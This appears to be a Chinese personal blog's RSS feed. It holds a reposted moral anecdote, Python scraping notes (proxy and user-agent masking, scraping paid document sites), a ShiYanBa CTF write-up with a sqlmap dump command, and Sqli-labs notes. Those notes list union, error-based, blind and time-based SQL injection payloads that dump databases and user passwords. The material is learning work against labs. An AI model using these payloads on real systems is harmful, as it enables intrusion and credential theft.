&lt;p&gt;曹大师竖起了大拇指，笑道：“有心。”&lt;/p&gt;
&lt;p&gt;到了别墅，刚下车，后院突然飞起七八只鸟，见状，赵某停在门口，抱歉的冲曹大师说道：“麻烦大师在门口等一会。”&lt;/p&gt;
&lt;p&gt;“有什么事吗？”曹大师再次讶然。&lt;/p&gt;
&lt;p&gt;“后院肯定有小孩在偷摘荔枝，我们现在进去，小孩自然惊慌，万一掉下来就不好了。”赵某笑着说道。&lt;/p&gt;
&lt;p&gt;曹大师默然片刻，“你这房子的风水不用看了。”&lt;/p&gt;
&lt;p&gt;这次轮到赵某讶然了，“大师何出此言？”&lt;/p&gt;
&lt;p&gt;“有您在的地方，都是风水吉地。”目中有人，才有路，心中有爱，才有度。一个人的宽容，来自一颗善待他人的心。一个人的涵养，来自一颗尊重他人的心。一个人的修养，来自一颗和善的心。为别人付出就是给自己铺路。感恩一切！口中有德，目中有人，心中有爱，行中有善！只有知道感恩的人才能让自己的生活更有色彩！&lt;/p&gt;
&lt;p&gt;文章来源于网络，如有侵权，请联系删除！&lt;/p&gt;</description>
    <pubDate>Thu, 01 Mar 2018 12:34:32 +0800</pubDate>
  </item>
  <item>
    <title>
      Python3 Web Spider Notes
    </title>
    <link>https://www.0akarma.com/spider-notes.html</link>
    <description>&lt;p&gt;根据 &lt;a href=&quot;http://blog.csdn.net/c406495762/article/details/58716886&quot; rel=&quot;nofollow&quot;&gt;Jack-Cui&lt;/a&gt; Python3网络爬虫教程 &lt;strong&gt;实践总结出如下笔记&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2 id=&quot;urllib&quot;&gt;（一）利用urllib进行简单的网页抓取&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000/001432688314740a0aed473a39f47b09c8c7274c9ab6aee000/&quot; rel=&quot;nofollow&quot;&gt;urllib&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt;.urllib.request模块是用来打开和读取URLs的；&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt;.urllib.error模块包含一些有urllib.request产生的错误，可以使用try进行捕捉处理；&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt;.urllib.parse模块包含了一些解析URLs的方法；&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4&lt;/strong&gt;.urllib.robotparser模块用来解析robots.txt文本文件.它提供了一个单独的RobotFileParser类，通过该类提供的can_fetch()方法测试爬虫是否可以下载一个页面。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5&lt;/strong&gt;.&lt;a href=&quot;https://docs.python.org/3.6/library/urllib.html&quot; rel=&quot;nofollow&quot;&gt;urlopen各类参数&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://cn.python-requests.org/zh_CN/latest/user/quickstart.html&quot; rel=&quot;nofollow&quot;&gt;requests模块&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pypi.python.org/pypi/chardet/&quot; rel=&quot;nofollow&quot;&gt;chardet模块&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;.read()&lt;/strong&gt;方法可以读取返回的文本对象&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;.decode()&lt;/strong&gt; 可以转码&lt;/p&gt;
&lt;h2 id=&quot;urlliburlopen&quot;&gt;(二)：利用urllib.urlopen向有道翻译发送数据获得翻译结果&lt;/h2&gt;
&lt;p&gt;geturl()返回的是一个url的字符串；&lt;/p&gt;
&lt;p&gt;info()返回的是一些meta标记的元信息，包括一些服务器的信息；&lt;/p&gt;
&lt;p&gt;getcode()返回的是HTTP的状态码，如果返回200表示请求成功。&lt;/p&gt;
&lt;p&gt;但是好像现在有道翻译网页更新了之后。。好像爬不出来了～&lt;img alt=&quot;&quot; src=&quot;https://ws2.sinaimg.cn/large/006tNc79ly1foyvffocsej30bm01kglo.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;urlliberror&quot;&gt;(三)：urllib.error异常&lt;/h2&gt;
&lt;p&gt;HTTPError和URLError一起捕获异常，那么需要将HTTPError放在URLError的前面，因为HTTPError是URLError的一个子类。如果URLError放在前面，出现HTTP异常会先响应URLError，这样HTTPError就捕获不到错误信息了。&lt;/p&gt;
&lt;p&gt;这里发现一个有趣的现象，URL上是一个404页面，但是爬的时候没有加ua，所以httperror就变成了403了:)&lt;/p&gt;
&lt;h2 id=&quot;user-agentip&quot;&gt;(四)：使用User Agent和代理IP隐藏身份&lt;/h2&gt;
&lt;h3 id=&quot;user-agent&quot;&gt;User Agent&lt;/h3&gt;
&lt;p&gt;两种方法加UA，注意headers参数要求为&lt;strong&gt;字典&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在创建Request对象的时候就传入headers参数&lt;/li&gt;
&lt;li&gt;创建之后用 &lt;strong&gt;.add.header()&lt;/strong&gt; 方法添加&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;ip&quot;&gt;IP代理&lt;/h3&gt;
&lt;p&gt;捣鼓来捣鼓去，都是出现error～&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;http.client.RemoteDisconnected: Remote end closed connection without response&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后后来发现，是代理ip的问题，换了个ip之后出现了504～&lt;/p&gt;
&lt;p&gt;结果成功没报错之后，没有print的值～这就…… &lt;/p&gt;
&lt;h2 id=&quot;python3scrapy&quot;&gt;(五)：Python3安装Scrapy&lt;/h2&gt;
&lt;p&gt;自动跳过～因为我已经装了:)&lt;/p&gt;
&lt;h2 id=&quot;python3cookie-&quot;&gt;(六)：Python3使用Cookie-模拟登陆获取妹子联系方式&lt;/h2&gt;
&lt;p&gt;这个网站已经关闭注册了，所以，理解代码思路就ok！&lt;/p&gt;
&lt;h3 id=&quot;cookie&quot;&gt;Cookie&lt;/h3&gt;
&lt;h4 id=&quot;cookie_1&quot;&gt;将cookie保存到变量中&lt;/h4&gt;
&lt;p&gt;利用CookieJar对象实现获取cookie的功能，存储到变量中&lt;/p&gt;
&lt;h4 id=&quot;cookie_2&quot;&gt;保存cookie到文件中&lt;/h4&gt;
&lt;p&gt;使用MozillaCookieJar来实现Cookie的保存&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;cookie.save的参数说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ignore_discard的意思是即使cookies将被丢弃也将它保存下来；&lt;/li&gt;
&lt;li&gt;ignore_expires的意思是如果在该文件中cookies已经存在，则覆盖原文件写入。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;cookie_3&quot;&gt;从文件中获取cookie&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;cookie.load就是从文件中获取cookie，其余参数不变&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;beautiful-soup&quot;&gt;(七)：使用Beautiful Soup爬取小说&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://beautifulsoup.readthedocs.io/zh_CN/latest/&quot; rel=&quot;nofollow&quot;&gt;Beautiful Soup&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是个利器啊～～！&lt;/p&gt;
&lt;p&gt;手敲代码，果然会手误啊！敲了半天，逻辑没错。。检查了半天才发现～～打少了个字母，然后就报错了！&lt;img alt=&quot;&quot; src=&quot;/api/download/15731839510377.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;纠正回来，然后就顺利爬到各章节的页面&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731839649825.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;成功爬取整本小说的内容。。。瞬间感觉成就感爆棚～～哈哈哈哈！让我捋一捋思路，简化一下代码先～～&lt;/p&gt;
&lt;p&gt;Maybe 多线程？&lt;/p&gt;
&lt;h2 id=&quot;vip&quot;&gt;(八)：爱奇艺等主流视频网站的VIP视频破解(在线观看+视频下载)&lt;/h2&gt;
&lt;p&gt;这个暂时先放一放～&lt;/p&gt;
&lt;h2 id=&quot;seleniumword&quot;&gt;(九)：使用Selenium爬取百度文库word文章&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jianshu.com/p/e137031bc7db&quot; rel=&quot;nofollow&quot;&gt;Mac OS环境配置chromedriver&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;发现百度文库排版设计发生了变化～没那么好用xpath定位了，然后我就在豆丁上审计了一下元素，发现好像可以～～豆丁上的页面排版跟旧版百度文库好像。。。没什么区别～除了名字不一样之外～～难道？？:)&lt;/p&gt;
&lt;p&gt;这一节卡了我好久，用到了前面用过的BeautifulSoup和还没完全搞懂的re～～&lt;/p&gt;
&lt;p&gt;总结来说就是多次用BeautifulSoup来筛选内容，然后用Selenium来定位元素，通过selenium和jsp脚本，翻页，根据每5页内容放在一个页面内，然后用一个表达式判断啥时候到尾，结束循环，爬完～如果再利用写入文件，就可以把爬去的内容导出，然后就可以～～免去一笔费用啦！！&lt;/p&gt;
&lt;p&gt;实际操作的时候，发现不少坑，python的简单，让锁进变得更严谨，有时候自己根本看不出来是锁进的问题。。但他确确实实就是锁进的问题。。一次次的调试，让我渐渐明白selenum的原理。。可以自动翻页，但是。。。爬取的内容还是前5页的～后来发现循环那里没有重新爬页面。。调整之后就可以实现爬整篇文章了，但是想写入文件。。对于 write 方法我还没掌握好，所以又要研究一会儿.&lt;/p&gt;
&lt;p&gt;Bingo～&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731839760287.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;但是对于打印进度的 sys 模块还没完全搞清楚如何弄，再看看官方文档先～&lt;/p&gt;
&lt;h2 id=&quot;_1&quot;&gt;(十)：这个帅哥、肌肉男横行的世界（爬取帅哥图）&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://docs.python-requests.org/zh_CN/latest/user/quickstart.html&quot; rel=&quot;nofollow&quot;&gt;requests库&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Thu, 01 Mar 2018 09:39:59 +0800</pubDate>
  </item>
  <item>
    <title>
      CTF in ShiYanBa
    </title>
    <link>https://www.0akarma.com/ctf-syb.html</link>
    <description>&lt;h3 id=&quot;_1&quot;&gt;简单的登陆题&lt;/h3&gt;
&lt;p&gt;这一题有点难度，卡住了～～&lt;/p&gt;
&lt;h3 id=&quot;_2&quot;&gt;后台登陆&lt;/h3&gt;
&lt;p&gt;查看源码&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;!-- $password=$_POST[&#x27;password&#x27;];
    $sql = &quot;SELECT * FROM admin WHERE username = &#x27;admin&#x27; and password = &#x27;&quot;.md5($password,true).&quot;&#x27;&quot;;
    $result=mysqli_query($link,$sql);
        if(mysqli_num_rows($result)&amp;gt;0){
            echo &#x27;flag is :&#x27;.$flag;
        }
        else{
            echo &#x27;密码错误!&#x27;;
        } --&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;注入题是肯定的。。但是经过了md5加密，然后就去网上搜了一波关于md5的注入。。然后就发现了一个神奇的字符串：&lt;strong&gt;ffifdyop&lt;/strong&gt;竟然发现。。。跟这道题的php文件是同一个名字，仿佛明白了什么之后，就去试了试提交。。结果flag就出来了。。&lt;/p&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;与SQL注入原理相同，只是需要用爆破md5来求出字符串&lt;/p&gt;
&lt;p&gt;当我们苦心孤诣的想，什么字符串经过md5加密后又可以转换成我们想要的注入字符串时，已经有大牛用脚本爆破出一个“万能”flag了。。&lt;/p&gt;
&lt;h3 id=&quot;_3&quot;&gt;加了料的报错注入&lt;/h3&gt;
&lt;p&gt;这里过滤了# = &lt;/p&gt;
&lt;h3 id=&quot;php&quot;&gt;PHP大法&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://ctf5.shiyanbar.com/DUTCTF/index.php&quot; rel=&quot;nofollow&quot;&gt;解题链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;关键代码：&lt;img alt=&quot;&quot; src=&quot;/api/download/15731839091123.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;将hackerDJ url编码之后发现，还是not allowed 。就重新捋了一遍逻辑，发现浏览器url栏上会url解码一次，所以需要将hackerDJ二次url编码，再get进去就得到flag了。&lt;/p&gt;
&lt;h3 id=&quot;_4&quot;&gt;上传绕过&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://www.shiyanbar.com/ctf/1781&quot; rel=&quot;nofollow&quot;&gt;解题链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一看到上传绕过就想到了00截断&lt;/p&gt;
&lt;p&gt;首先尝试上传php文件，然后发现要上传图片，然后又试了试上传图片，发现成功上传，但是又要求php后缀才行。。于是就觉得是在前端判断是否是图片后缀，然后再判断上传到目录中的文件是否是php来get flag。所以就在burp里改了file name，再改了hex，然后就OK了。&lt;/p&gt;
&lt;h3 id=&quot;sql&quot;&gt;简单的SQL注入&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://www.shiyanbar.com/ctf/1875&quot; rel=&quot;nofollow&quot;&gt;解题链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个真是“简单”啊。一下子过滤了那么多～～～不过也get也一波绕过waf新方法。。但是，只要把绕过找出来。。藏flag的地方的确很。。。&lt;/p&gt;
&lt;p&gt;用sqlmap跑，再用上一个绕waf脚本，ok！&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html&quot; rel=&quot;nofollow&quot;&gt;深入理解SQL注入绕过WAF和过滤机制&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;sql2&quot;&gt;简单的SQL注入2&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://ctf5.shiyanbar.com/web/index_2.php&quot; rel=&quot;nofollow&quot;&gt;解题链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;解题思路一样&lt;/p&gt;
&lt;p&gt;sqlmap -u &quot;&lt;a href=&quot;http://ctf5.shiyanbar.com/web/index_2.php/?id=1&quot; rel=&quot;nofollow&quot;&gt;http://ctf5.shiyanbar.com/web/index_2.php/?id=1&lt;/a&gt;&quot; --dump -C flag -T flag -D web1 --tamper=&quot;&lt;a href=&quot;http://space2comment.py&quot; rel=&quot;nofollow&quot;&gt;space2comment.py&lt;/a&gt;&quot; --level=3&lt;/p&gt;
&lt;h3 id=&quot;sql3&quot;&gt;简单的SQL注入3&lt;/h3&gt;
&lt;p&gt;连flag都一样的～如果用sqlmap跑这三道题，简直是送分，当然，如果手注的话，还是会发现细微的区别的！&lt;/p&gt;</description>
    <pubDate>Mon, 19 Feb 2018 12:46:03 +0800</pubDate>
  </item>
  <item>
    <title>
      SQL Injection - Sqli-labs
    </title>
    <link>https://www.0akarma.com/sqli-labs.html</link>
    <description>&lt;h2 id=&quot;sqli-labs&quot;&gt;Sqli-labs&lt;/h2&gt;
&lt;h3 id=&quot;less-1-get-error-based-single-quotes-string&quot;&gt;less-1 GET - Error based - Single quotes - String&lt;/h3&gt;
&lt;p&gt;(基于错误的GET单引号字符型注入)&lt;/p&gt;
&lt;h4 id=&quot;union&quot;&gt;查询（union）&lt;/h4&gt;
&lt;p&gt;当函数mysql_fetch_array只被调用了一次时，且想显示非第一行查询的数据库数据时，可以让第一行的查询结果为空，那么，非第一行（union右边）的查询结果自然就成了第一行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;union的作用是将两个sql语句进行联合。union前后的两个sql语句的选择列数要相同才可以（用order by查询行数） 。Union all与union 的区别是增加了去重的功能&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id=&quot;_1&quot;&gt;数据库连接函数&lt;/h4&gt;
&lt;p&gt;concat和concat_ws&lt;/p&gt;
&lt;p&gt;其中concat_ws的第一个参数是连接字符串的分隔符，还会用到group__concat(可以把查询出来的多行连接起来)&lt;/p&gt;
&lt;p&gt;常用：concat_ws(char(32,58,32),user(),database(),version())&lt;/p&gt;
&lt;h4 id=&quot;_2&quot;&gt;查表&lt;/h4&gt;
&lt;p&gt;查询information_schema中的信息时，使用where语句，那个值不能直接用英文，要用单引号包裹着，当然用其十六进制表示也可以，数值类型的就不用单引号了&lt;/p&gt;
&lt;h4 id=&quot;limit&quot;&gt;limit&lt;/h4&gt;
&lt;p&gt;查表时也只能返回一个table，所以要用limit来控制结果集具体是哪一行&lt;/p&gt;
&lt;h4 id=&quot;solution&quot;&gt;solution&lt;/h4&gt;
&lt;p&gt;Payload:http://localhost/sqli-labs/Less-1/index.php/?id=0&#x27;union select 1,2,3 --+&lt;/p&gt;
&lt;p&gt;爆库：http://localhost/sqli-labs/Less-1/index.php/?id=0&#x27;union select 1,group_concat(schema_name),3 from information_schema.schemata--+&lt;/p&gt;
&lt;p&gt;爆表：http://localhost/sqli-labs/Less-1/index.php/?id=0&#x27;union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=&#x27;security&#x27;--+&lt;/p&gt;
&lt;p&gt;爆列：http://localhost/sqli-labs/Less-1/index.php/?id=0&#x27;union select 1,group_concat(column_name),3 from information_schema.columns where table_name=&#x27;users&#x27;--+&lt;/p&gt;
&lt;p&gt;爆数据：http://localhost/sqli-labs/Less-1/index.php/?id=0&#x27;union select 1,username,password from users where id =3--+&lt;/p&gt;
&lt;h3 id=&quot;less-2-get-error-based-intiger-based&quot;&gt;less-2 GET - Error based - Intiger based&lt;/h3&gt;
&lt;p&gt;(基于错误的GET整型注入)&lt;/p&gt;
&lt;p&gt;跟less1一样，只是不用闭合‘&lt;/p&gt;
&lt;h4 id=&quot;solution_1&quot;&gt;solution&lt;/h4&gt;
&lt;p&gt;Payload:http://localhost/sqli-labs/Less-2/index.php/?id=1 --+&lt;/p&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-2/index.php/?id=1 or 1=1&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-2/index.php/?id=1 or 1=1--+&lt;/p&gt;
&lt;h3 id=&quot;less-3-get-error-based-single-quotes-with-twist-string&quot;&gt;less-3 GET - Error based - Single quotes with twist string&lt;/h3&gt;
&lt;p&gt;(基于错误的GET单引号变形字符型注入)&lt;/p&gt;
&lt;p&gt;多了 &lt;strong&gt;‘)&lt;/strong&gt; 那么sql语句里的id 应该就是 (&#x27;$id&#x27;) 这样！&lt;/p&gt;
&lt;h4 id=&quot;solution_2&quot;&gt;solution&lt;/h4&gt;
&lt;p&gt;Payload:http://localhost/sqli-labs/Less-3/index.php/?id=1′) --+&lt;/p&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-3/index.php/?id=1&#x27;) or &#x27;1&#x27;=(&#x27;1&#x27;&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-3/index.php/?id=1′) --+&lt;/p&gt;
&lt;h3 id=&quot;less-4-get-error-based-double-quotes-string&quot;&gt;less-4 GET - Error based - Double Quotes - String&lt;/h3&gt;
&lt;p&gt;(基于错误的GET双引号字符型注入) &lt;/p&gt;
&lt;p&gt;php中双引号可以包含单引号，所以判断是否存在注入时，还需要用 &lt;strong&gt;“&lt;/strong&gt; 来判断&lt;/p&gt;
&lt;h4 id=&quot;solution_3&quot;&gt;solution&lt;/h4&gt;
&lt;p&gt;Payload:http://localhost/sqli-labs/Less-4/index.php/?id=1&quot;) --+&lt;/p&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-4/index.php/?id=1&quot;) or &quot;1&quot;=(&quot;1&lt;/p&gt;
&lt;h3 id=&quot;less-5-get-double-injection-single-quotes-string&quot;&gt;less-5 GET - Double Injection - Single Quotes - String&lt;/h3&gt;
&lt;p&gt;(双注入GET单引号字符型注入)&lt;/p&gt;
&lt;h4 id=&quot;_3&quot;&gt;报错注入&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;count(*)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-5/index.php/&lt;br&gt;
?id=1&#x27; union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;exp&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;数据类型超出范围进行报错注入&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;bigint&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;bigint溢出进行报错注入&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;xpath&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;xpath函数报错注入&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-5/index.php/&lt;br&gt;
?id=1&#x27; and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;利用数据的重复性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-5/index.php/&lt;br&gt;
?id=1&#x27;union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+&lt;/p&gt;
&lt;h4 id=&quot;solution_4&quot;&gt;solution&lt;/h4&gt;
&lt;p&gt;payload：&lt;/p&gt;
&lt;p&gt;布尔注入：&lt;/p&gt;
&lt;p&gt;报错注入：&lt;/p&gt;
&lt;p&gt;http://localhost/sqli/Less-5/?id=1&#x27; and (select 1 from(select count(&lt;em&gt;&lt;em&gt;),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()&lt;/em&gt; &lt;/em&gt;2))name from information_schema.tables group by name)b) --+&lt;/p&gt;
&lt;p&gt;延时注入：&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-5/index.php/?id=1&#x27;and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ &lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-5/index.php/&lt;br&gt;
?id=1&#x27;UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE(&#x27;MSG&#x27;,&#x27;by 5 seconds&#x27;)),null)),2,3 FROM (select database() as current) as tb1--+&lt;/p&gt;
&lt;h3 id=&quot;less-6-get-double-injection-double-quotes-string&quot;&gt;less-6 GET - Double Injection - Double Quotes - String&lt;/h3&gt;
&lt;p&gt;(双注入GET双引号字符型注入)&lt;/p&gt;
&lt;p&gt;payload跟less-5异曲同工，只是把 ‘ 改成 “ &lt;/p&gt;
&lt;h3 id=&quot;less-7-get-dump-into-outfile-string&quot;&gt;less-7 GET - Dump into outfile - String&lt;/h3&gt;
&lt;p&gt;(导出文件GET字符型注入)&lt;/p&gt;
&lt;p&gt;@@datadir 读取数据库路径&lt;br&gt;
@@basedir MYSQL 获取安装路径&lt;/p&gt;
&lt;p&gt;outfile函数将数据库中的内容写到一个文件中&lt;/p&gt;
&lt;p&gt;dumpfile只能使用一行&lt;/p&gt;
&lt;p&gt;load_file函数用来从文件系统中将文件导入到mysql中&lt;/p&gt;
&lt;p&gt;虽然有相应数据库权限，也对路径进行了转义，但是还是没有成功导出文件，尝试导出在tmp文件夹，发现也不行。先放着吧！&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-7/index.php/?id=1&#x27;)) union select 1,2,3 into outfile &quot;C:\phpStudy\tmp\1.php&quot; %23 &lt;/p&gt;
&lt;h3 id=&quot;less-8-get-blind-boolian-based-single-quotes&quot;&gt;less-8 GET - Blind - Boolian Based - Single Quotes&lt;/h3&gt;
&lt;p&gt;(布尔型单引号GET盲注)&lt;/p&gt;
&lt;p&gt;这一关把mysql报错的语句注释了，所以就不能用报错注入了。&lt;/p&gt;
&lt;h4 id=&quot;_4&quot;&gt;布尔盲注&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;left()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;left()得到字符串左部指定个数的字符    &lt;/p&gt;
&lt;p&gt;left ( string, n )        string为要截取的字符串，n为长度。&lt;/p&gt;
&lt;p&gt;正确时返回 “You are in 。。。。“ 否则则无回显。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;length()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;测试数据库长度&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;substr()与ascii()并用 &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;substr()和substring()函数实现的功能是一样的，均为截取字符串。&lt;/p&gt;
&lt;p&gt;​    string substring(string, start, length)&lt;/p&gt;
&lt;p&gt;​    string substr(string, start, length)&lt;/p&gt;
&lt;p&gt;获取security数据库的第一个表(limit 0,1)的字符&lt;/p&gt;
&lt;p&gt;获取该数据库的第二个表 limit 1,1&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;regexp&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;利用regexp获取（2）中users表中的列&lt;/p&gt;
&lt;p&gt;I   select * from users where id=1 and 1=(if((user() regexp &#x27;^r&#x27;),1,0));&lt;/p&gt;
&lt;p&gt;II  select * from users where id=1 and 1=(user() regexp&#x27;^ri&#x27;);&lt;/p&gt;
&lt;p&gt;通过if语句的条件判断，返回一些条件句，比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。&lt;/p&gt;
&lt;p&gt;III select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=&#x27;security&#x27; and table_name regexp &#x27;^us[a-z]&#x27; limit 0,1);&lt;/p&gt;
&lt;p&gt;这里利用select构造了一个判断语句。我们只需要更换regexp表达式即可&lt;/p&gt;
&lt;p&gt;&#x27;^u[a-z]&#x27; -&amp;gt; &#x27;^us[a-z]&#x27; -&amp;gt; &#x27;^use[a-z]&#x27; -&amp;gt; &#x27;^user[a-z]&#x27; -&amp;gt; FALSE&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.cnblogs.com/lcamry/articles/5717442.html&quot; rel=&quot;nofollow&quot;&gt;SQL盲注之正则表达式攻击&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ord() 和 mid(column_name,start[,length])&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;利用 ord()（此函数为返回第一个字符的ASCII码） 和 mid() 函数获取users表的内容&lt;/p&gt;
&lt;p&gt;例如ORD(MID(DATABASE(),1,1))&amp;gt;114 意为检测database()的第一位ASCII码是否大于114，也即是‘r’&lt;/p&gt;
&lt;h3 id=&quot;less-9-get-blind-time-based-single-quotes&quot;&gt;less-9 GET - Blind - Time based. -  Single Quotes&lt;/h3&gt;
&lt;p&gt;(基于时间的GET单引号盲注)&lt;/p&gt;
&lt;h4 id=&quot;_5&quot;&gt;延时注入&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;sleep()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;利用sleep()函数进行注入&lt;/p&gt;
&lt;p&gt;http://localhost/sqli-labs/Less-9/index.php/&lt;br&gt;
?id=1&#x27;and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BENCHMARK()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;利用BENCHMARK()进行延时注入&lt;/p&gt;
&lt;p&gt;当结果正确的时候，运行ENCODE(&#x27;MSG&#x27;,&#x27;by 5 seconds&#x27;)操作50000000次，会占用一段时间。&lt;/p&gt;
&lt;h4 id=&quot;solution_5&quot;&gt;solution&lt;/h4&gt;
&lt;p&gt;payload：&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqllib/Less-9/?id=1&#x27;and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+&lt;/p&gt;
&lt;h3 id=&quot;less-10-get-blind-time-based-double-quotes&quot;&gt;less-10 GET - Blind - Time based - double quotes&lt;/h3&gt;
&lt;p&gt;(基于时间的双引号盲注)&lt;/p&gt;
&lt;p&gt;与less-9一样，只是从 ’ 变成 “ &lt;/p&gt;
&lt;h3 id=&quot;less-11-post-error-based-single-quotes-string&quot;&gt;less-11 POST - Error Based - single quotes - String&lt;/h3&gt;
&lt;p&gt;在GET型里面用到的大部分方法都可以使用&lt;/p&gt;
&lt;h3 id=&quot;less-12-post-error-based-double-quotes-string-with-twist&quot;&gt;less-12 POST - Error Based - Double quotes - String - with twist&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;’&lt;/strong&gt; 变 &lt;strong&gt;”&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;less-13-post-double-injection-single-quotes-string-with-twist&quot;&gt;less-13 POST Double injection - Single quotes - String - with twist&lt;/h3&gt;
&lt;p&gt;从错误回显中知道对id进行了 &lt;strong&gt;&#x27;)&lt;/strong&gt;处理，所以用布尔盲注来判断是否成功login&lt;/p&gt;
&lt;h4 id=&quot;solution_6&quot;&gt;solution&lt;/h4&gt;
&lt;p&gt;payload:&lt;/p&gt;
&lt;p&gt;猜版本号&lt;/p&gt;
&lt;p&gt;uname=admin&#x27;)and left(@@version,1)=5%23 &amp;amp;passwd=2222&amp;amp;submit=Submit&lt;/p&gt;
